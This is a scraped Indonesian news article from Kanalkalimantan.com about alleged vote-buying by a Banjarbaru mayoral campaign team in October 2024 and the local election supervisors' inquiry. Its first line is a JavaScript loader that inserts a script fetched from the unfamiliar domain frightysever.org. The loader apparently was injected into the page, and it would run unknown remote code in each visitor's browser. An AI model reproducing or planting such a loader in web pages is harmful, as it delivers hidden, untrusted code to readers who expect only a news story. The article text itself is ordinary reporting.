(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Dugaan money politik atau politik uang disinyalir terjadi di Ibu Kota Provinsi Kalimantan Selatan (Kalsel).
Menurut informasi dihimpun Kanalkalimantan, dugaan ini muncul usai beredar bukti tangkapan layar tawaran politik uang diduga dilakukan oleh salah satu tim Pasangan Calon (Paslon) Wali Kota dan Wakil Wali Kota Banjarbaru.
Dalam tangkapan layar yang beredar tersebut, tim dari Paslon Pilwali Banjarbaru terlihat menawarkan janji insentif sebesar Rp500 ribu kepada anggota KPPS di salah satu kelurahan.
Terkait tangkapan layar itu, Ketua Panitia Pengawas Kecamatan (Panwascam) Landasan Ulin, Muhammad Novriandy menyebut sudah menerima informasi awal dugaan politik uang tersebut.
Saat ini Panwascam Landasan Ulin mengaku tengah dalam proses melakukan penelurusan terkait dengan tangkapan layar itu.
“Untuk saat ini Panwascam sedang dalam proses penelusuran terkait capture-an yang beredar,” ujar Muhammad Novriandy saat dikonfirmasi, Selasa (15/10/2024) siang.
Baca juga: Gubernur Kalsel Tersangka, Sekdprov: Pemerintahan Berjalan Normal
Panwascam Landasan Ulin sudah membentuk tim dan menyebar ke lokasi yang telah ditentukan.
Pihak pengawas Pilkada Serentak sempat menindaklanjuti kabar tersebut dengan mendatangi lokasi yang diduga ada praktek money politic tersebut pada Senin (14/10/2024) sekitar pukul 17.00 Wita.
Namun, dalam penelusuran ke lokasi, kata dia, anggota Panwascam Landasan Ulin tidak mendapati adanya praktek dugaan pelanggaran politik uang.
Baca juga: Bawaslu Banjar Mentahkan Laporan Kampanye Terselubung
Di sisi lain, sebagai upaya pencegahan, Komisioner Panwascam Landasan Ulin Divisi Hukum, Pencegahan, Partisipasi Masyarakat dan Hubungan Masyarakat (HP2H) Ali Rosul mengatakan, pihaknya juga telah berkordinasi dengan PPS di kelurahan setempat.
“Kita juga sudah berkordinasi dengan PPS untuk segera melaporkan apabila didapati informasi atas dugaan terjadinya politik uang di wilayah setempat,” ujar Ali.
Bersama jajaran panitia pengawas juga, katanya, pihaknya sedang melakukan kajian menindaklanjuti informasi awal tersebut.
Baca juga: Emak-emak di Pengaron Aminkan Hajat Saidi Mansyur dan Habib Idrus
Selain itu, Ali mengingatkan kepada seluruh calon kepala daerah dan tim pendukung Paslon untuk berkompetisi secara sehat dan menjunjung tinggi nilai-nilai demokrasi.
“Hindari praktek-praktek yang tidak sesuai dengan aturan dan dapat merusak tatanan kehidupan bermasyarakat, karena kita semua mengharapkan Pilkada dapat berjalan dengan aman, lancar dan demokratis,” tegas dia. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, JAKARTA - Pemerintah menyiapkan kebijakan strategis bagi ASN dalam menghadapi lonjakan mobilitas masyarakat pada… Read More
KANALKALIMANTAN.COM, BATULICIN – Kantor Perwakilan (KPw) Bank Indonesia (BI) Provinsi Kalimantan Selatan menggelar acara Capacity… Read More
KANALKALIMANTAN.COM, AMUNTAI – Gubernur Kalimantan Selatan H Muhidin meninjau langsung warga terdampak banjir di Desa… Read More
KANALKALIMANTAN.COM, BANJARBARU – Pegawai Non Aparatur Sipil Negara (ASN) menjadi perhatian Pemerintah Kota (Pemko) Banjarbaru… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menggunakan sepeda motor trail meninjau sejumlah… Read More
KANALKALIMANTAN.COM, MARTAPURA – Pemerintah Kabupaten Banjar melakukan persiapan guna menghadapi pelaksanaan Pemilihan Kepala Desa (Pilkades)… Read More
This website uses cookies.